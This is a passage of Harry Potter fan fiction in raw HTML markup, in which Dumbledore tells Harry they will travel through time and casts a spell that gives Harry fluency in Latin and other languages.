stare. &#8220;How do you think I\'m feeling?&#8221; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then he cracked an empty grin. &#8220;Lousy of course&#8230;what else?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore\'s lips twitched and he smiled slightly at Harry. &#8220;That may be so, Harry but I promise that soon I will take them off and you will be free.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded. Then a thought came to his mind. He looked briefly at Fawkes. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Sir, what happened to the feather of my wand?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Ah, that...&#8221; he answered while giving a smile to the young man. &#8220;Well, I have sent it to Ollivander. He will prepare a new wand for you. But it will be different. Yes, immensely so.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Different in what way?&#8221; asked Harry, curious, trying to get his mind off the strange sensation that was the feeling of having his power sealed or the rings upon his skin.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Mr Ollivander, like all good craftmen, is continually trying to ameliorate his wands. Lately he has been complaining about the lack of challenges. So I presented one to him that I hope will be able to stimulate his brilliant mind. It should be ready by the time we return.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Rising from the chair, Albus moved close to Harry. Harry looked at him with slightly inquiring emerald eyes. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Return from where?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore mussed up his beard, a gesture that Harry had grown to associate with some deep thinking. The headmaster\'s deep blue eyes weren\'t twinkling but the intensity behind them was breathtaking.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I believe, Harry, that the question should be return from when.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry blinked.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That could only mean one thing.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;We\'re travelling in time?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore nodded.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;For a number of reasons.&#8221; he paused as if considering something. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally he spoke, having reached a decision. &#8220;I must be honest with you. Ever since you... changed, you have looked up to me, in search of guidance and confidence, trusting me to find the right answers to help you through this difficult time. I am more than honored that you hold me in such high </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">esteem, but to be honest with you, I recognize that I\'m not the best man to help you.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But&#8230;but&#8230;Professor, you\'re the world\'s greatest wizard!&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore smiled wistfully. &#8220;I would like to believe that, Harry. But the truth is that I\'m not that great. I\'m nothing more than an old man who wishes for some things that may never be, all the while fighting to preserve what we have. I am but a man who has been given much time on this </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">little planet we call home, but that doesn\'t mean that I\'m able to deal with things that remind me how little my knowledge really is and how limited is my strength.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus\'s smile widened. &#8220;I don\'t feel bad about that, Harry, and neither should you. Much has been asked of me but also much has been given. You remind me of myself when I was younger and the world seemed to rest upon my shoulders.&#8221; He added with a slight smile. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">All the while, Harry blushed slightly, embarrassed to be compared with a wizard, let alone one as great as Dumbledore, his mind travelling back to the time when Aberforth had said something similar.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;A great man, Dumbledore&#8221; Hagrid had said not so long ago and Harry could only agree.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Unknowing (or not), Albus continued &#8220;Back in that time I had help, help from people more wise and kind than me, people that sadly enough are long gone from this plane of existence. It\'s those men and women that we are going to see. With them I am sure that you will be able to rise to this challenge life has imposed upon you... as you always have.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Eh... thanks,&#8221; said Harry, a hand trailing through his midnight locks, messing it up more than it already was.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;When do we go?&#8221; he asked after a moment.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Soon enough. Before we have to take care of some details, most of them concerning the languages you will need. The rest you will learn in the place we will travel to.&#8221; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Excuse me, sir, but what do you mean by languages?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore chuckled. &#8220;We aren\'t remaining in England, Harry. The first part of our trip will take us to the orient; India, China, Japan, Korea, Thailand... next, let me see, ah, yes, Italy, France, Greece, Turkey, yes, and maybe one or two more countries before we return to Brazil.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry swallowed. &#8220;That\'s... uh, a lot of countries, professor.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore smiled. &#8220;Yes, Harry, it is needed. Before facing the problem of the languages, do you have any other question?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry hesitated for a moment before asking. He knew that this issue had already been dealt with but he couldn\'t help it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Um ,sir, could I owl Hermione or Ron?&#8221; he paused before rushing, as he saw Dumbledore starting to speak. &#8220;Not to tell them what is happening, of course. Just to see how they\'re doing?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus sighed, hating what he was about to say once again, but knowing that it was a necessity. Dumbledore knew Voldemort well enough to know that any contact between Harry and his two friends would be noticed, despite the apparent lack of action from the Dark Lord.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Voldemort wanted Harry beyond anything else, wanting to destroy him and the hope he represented. What in common men (and not to say wizards) was dangerous, all that rage and hate, in a being such as Voldemort was something even worse because he had enough control, enough cold blood, to use his emotions, not the other way around.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Even his seemingly random burst of anger upon his followers, all those uses of the Cruciatus Curse upon them were but a display, a controlled means to turn fear into terror even in the heart of his most devoted Death Eaters.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Voldemort would get a hold of any communication between the trio and dissect it with cold, ruthless logic, picking up scraps of information that he would store for further use. And sooner or later he would use that information to find a way to destroy Harry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The summer between fourth and fifth year, Dumbledore wasn\'t that concerned about intercepted communications between the trio. He knew Voldemort would instead get a firm hold on all his followers, restoring the control he had nearly sixteen years ago before moving on other things he needed to do before he decided to go after the Boy Who Lived.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But now...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed. &#8220; I\'m afraid that I can\'t allow that, Harry. You know my reasons and you know that Sirius, not to say Remus, think likewise. This is not for your security but also, right now, any contact between you and Miss Granger, or Mister Weasley, would put them in danger and I believe that you are the one who knows that better than anyone else.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked to the ground before nodding, even if the reluctance was there.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed. &#8220;I promise you will see them soon enough, Harry, but in the meantime we have to address our language problem.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, all thoughts concerning his friends apparently gone. &#8220;I\'m not that good at foreign idioms, professor...&#8221; he said, feeling slightly embarrassed.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore laughed that heart-warming laughter of his. &#8220;Ah yes. I suppose the Dursleys weren\'t too inclined to teach you foreign languages, right?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, not knowing what to say. It seemed wrong somehow to speak ill about the Dursleys like he would do with Ron... and then there were the glimpses of the guilt that Dumbledore had sometimes looking at him.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was right within the twinkle of his deep blue eyes, as if he regretted leaving him at the Dursleys\' once he discovered how unloved Harry had been, but knowing that it had been the only way to ensure his safety. If it had happened otherwise, the repercussions could have been dire.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry quickly chased those thoughts out of his mind. He wasn\'t sure if Dumbledore could read minds but even so it wasn\'t good to think about what was in the past.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore was once again stroking his beard, even as a slight smile tugged at the corners of his mouth.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Now about languages and the spells concerning their learning...&#8221; he started shifting into professor mode, which attracted Harry\'s undivided attention, even as his mind shifted to one of his best friends...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&lt;Hermione should be here. She would enjoy this.&gt;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;As you know, most languages are classified by their origins. Some have the same roots while others belong to other groups with totally different characteristics. Generally those root languages change through time and contact with other cultures. I would like to say that those contacts between culture were always pacific but that would be a lie. On the contrary, most of those contacts originated in some sort of armed conflict, the culture and lifestyle being absorbed by the dominant group.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;So through time those primal languages, due to the contact with other cultures evolved, forming the ones that we use today, right?&#8221; asked Harry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore\'s smile widened. &#8220;That\'s right. Through that contact they evolved and that evolution continued as time passed. Each culture, as they appeared and disappeared through the centuries, collaborated somewhat in that change. It\'s likely that if we took someone of this day and age and moved him through time, let\'s say nine hundred years back, he would have his fair share of problems trying to be understood by the people of that chronological period.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Now on the learning itself, there are several spells and charms that can work to that end. Generally the spells are divided into two kinds depending on the source of the language that can be inanimate, like books, or animate, the knowledge shared by two or more wizards.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What\'s the difference?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Well, inanimate ones are those most used by wizards and witches. It produces less strain to the mind but they lack the `something\' that makes one fluent in the chosen language. It is, to put it in terms that you will understand, like knowing all the rules of Quidditch, all the possible moves, all the league\'s teams and its players, being able to speak of it for hours but not being able to play it. You will play some but you will never be good at it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That he could understand. &#8220;And the animate one?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;The effects are more intense, not to say complete, than the other type. You gain the skills the source had of that language, it becoming a part of your own knowledge. Differently from the other kind, the knowledge once gained is kept and you can work on it with time, becoming better at it as if it </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">was yours to start with. For all purposes this is the best option.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But the knowledge isn\'t gained without cost. The human mind is continuously sorting the information it gets through the senses, protecting the brain from an amount of data too great to be handled without danger. This is why, amongst other things, we have to give repose to the mind and body when we are studying. The spell is dangerous because of the sheer volume of knowledge that can be taken from the source and downloaded in one go. It can be too much for the brain to handle at once.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What happens then?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;The brain can suffer a shock that plunges the wizard receiving the knowledge into a coma, its depth depending on the size of the information assimilated. The fact that the one receiving the knowledge doesn\'t get only the language skills, but also the impressions the mind links to the learning process is dangerous for your core personality. When that happens for a moment they lose focus on who they are, swept away by the emotions that the source had linked to the time he or she spend learning the language shared.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It\'s not a pleasant feeling. I have known wizards that have cracked under the pressure the spell brought to them, the alien emotions overriding their own each time they used that artificially obtained tongue. All of those risks are enough for most wizards to forsake the possibility to add a lifetime </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">worth of language skills to their own.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">For a moment Harry remained silent, thinking about what he had heard, considering the information Dumbledore just gave him.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What do you propose, sir?&#8221; he asked to the old wizard that was looking at him with his intense eyes.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;For you to benefit of our travels to its full extent, you need to have language skills as complete as possible.&#8221; he said gravely. &#8220;I know that you are concerned by what I told you about the animate language charm but remember that your physiology is different from humans. The magic will </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">fulfill its bidding but how you will absorb that knowledge will be different from how a human would do it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded reluctantly. The determination was clear on his face. &#8220;I understand, sir. Do it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Good boy,&#8221; said Dumbledore, obviously once again pleased with Harry. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He then rose from his seat and moved towards the fireplace. In front of it were two chairs, facing each other, a short distance apart. Harry followed suit and sat in the chair opposite of Dumbledore\'s, feeling the warmth of the fire through his clothing, heating his skin.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore drew his wand, holding it loosely between his fingers.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;As you already have an education in Latin, we will start with that.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;That... makes sense.&#8221; agreed Harry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Latin was imparted as part of the curriculum at Hogwarts, as many spells and charms depended on the old language to work. As such Harry had quite a good grasp of it, but there wasn\'t a doubt that Dumbleodre\'s skills and knowledge on it were far greater than his.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Ready, Harry?&#8221; Dumbledore asked softly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Breathing deeply, Harry slowly nodded.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>&#8220;Ad voluntatis, cun lingua trasmuto...&#8221;</i></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">With a flicker the point of his wand was touching his left temple.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>&#8220;Latinae cognitio divido...&#8221;</i></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">A small ball of dark red light appeared on the tip, growing with the wizard\'s words.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;</font><font color="Black"><i>Et libere donum in perpetuum.&#8221;</i></font><font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The wand moved through the empty space separating them, leaving behind a trail of crimson semi-solid light before gently touching the scar in the middle of Harry\'s brow. The scar glowed red as it started absorbing the magic.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry\'s whole body trembled as he felt the knowledge being crammed into his brain, new concepts assaulting his mind, unknown sensations and foreign emotions turning, twisting within his mind with the violence of a thousand storms.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was agony.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was liberation!</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>Crash!</i></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry found himself sprawled on the ground, what remained of the chair lying all around him. He was breathing hard, and trying to blink out the sweat that covered his face, drops falling upon his neck.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He saw how the thin stream of red light dissipated to nothingness and slowly he drew his hand to his forehead, feeling the lingering sensation of magic still there.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Slowly he shook his head as he threw his first glance at Dumbledore.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The old wizard was clearly tired but looked way better than how Harry felt, not that he could complain of that to Dumbledore. After all it was the headmaster who had performed the charm. He just had to hold on against the rush of information.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still with incredible agility for someone his age the older wizard knelt near Harry, a hand moving to steady the younger wizard who was still slightly shaking.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How are you, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Said teenager blinked and shook his head before looking at the professor. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Slowly a grin spread upon his face.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Apart from feeling my head rattle as though it was a bell? Wonderful, sir!&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore blinked, obviously surprised by Harry\'s answer. There was no sarcasm and Albus could feel that Harry wasn\'t lying. He was indeed feeling wonderful.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That </font><font color="Black"><i>wasn\'t</i></font><font color="Black"> supposed to happen.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;You\'re sure of that, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded before straightening up, followed by Dumbledore who was taller than him, but not by much.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Yeah... it\'s as though I...&#8221; he paused, searching for words. &#8220;As though I was awake for the first time and all my thoughts are now so... clear.&#8221; He laughed, feeling joyous for some reason. The sound was so honest that Dumbledore couldn\'t help but chuckle, Fawkes also crooning some happy tunes as he flapped his wings.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">When Fawkes rejoiced with his exuberance Dumbledore looked at the young man in front of him with puzzlement. From what he could see the boy was perfectly fine. His eyes seemed cleared from something, as if the mind and the soul behind them was free at least.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Why my boy, you are proving to be a well of surprises. What you are feeling is like nothing I have knowledge of. In fact you should be feeling downright nauseous. Didn\'t you feel slightly, um, unsteady?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at him with his green eyes so focused that Dumbledore couldn\'t help but marvel.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;No, professor.&#8221; Then his expression shifted and he spoke, but this time in perfectly fluent Latin. &#8220;At first I felt what you told me I would but then...&#8221; He paused. &#8220;Then it was as though something that had been... trapped was suddenly free. And now I feel like never before.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then he smiled. &#8220;And I can speak in Latin, professor.&#8221; Again he shifted language, returning to English. &#8220;The spell worked, sir.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore nodded, not quite sure what to do about this development.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&lt;Maybe this will cause some slight changes to our travelling plans.&gt;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">With a flick of his wrist the chair was repaired but this time Dumbledore made sure the chair would be able to withstand the pressure.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Well, he hoped so.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;If all is alright for you, let\'s continue then. Are you ready for more, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry\'s grin was answer enough.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">--------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Three hours later, Dumbledore passed a hand against his tired eyes.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The spell wasn\'t too taxing on the caster but after several hours of doing so even Albus was starting to find his mind slowing down. It was only due to his skills and experience that his mind wasn\'t feeling like it had been put through a blender.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">On the contrary Harry seemed to have been possessed by his friend Hermione. He kept asking Dumbledore to share his knowledge of languages, not needing much time to deal with the effects of the language transfer.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Right now Harry had mastered almost all the mortal languages Dumbledore knew.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font 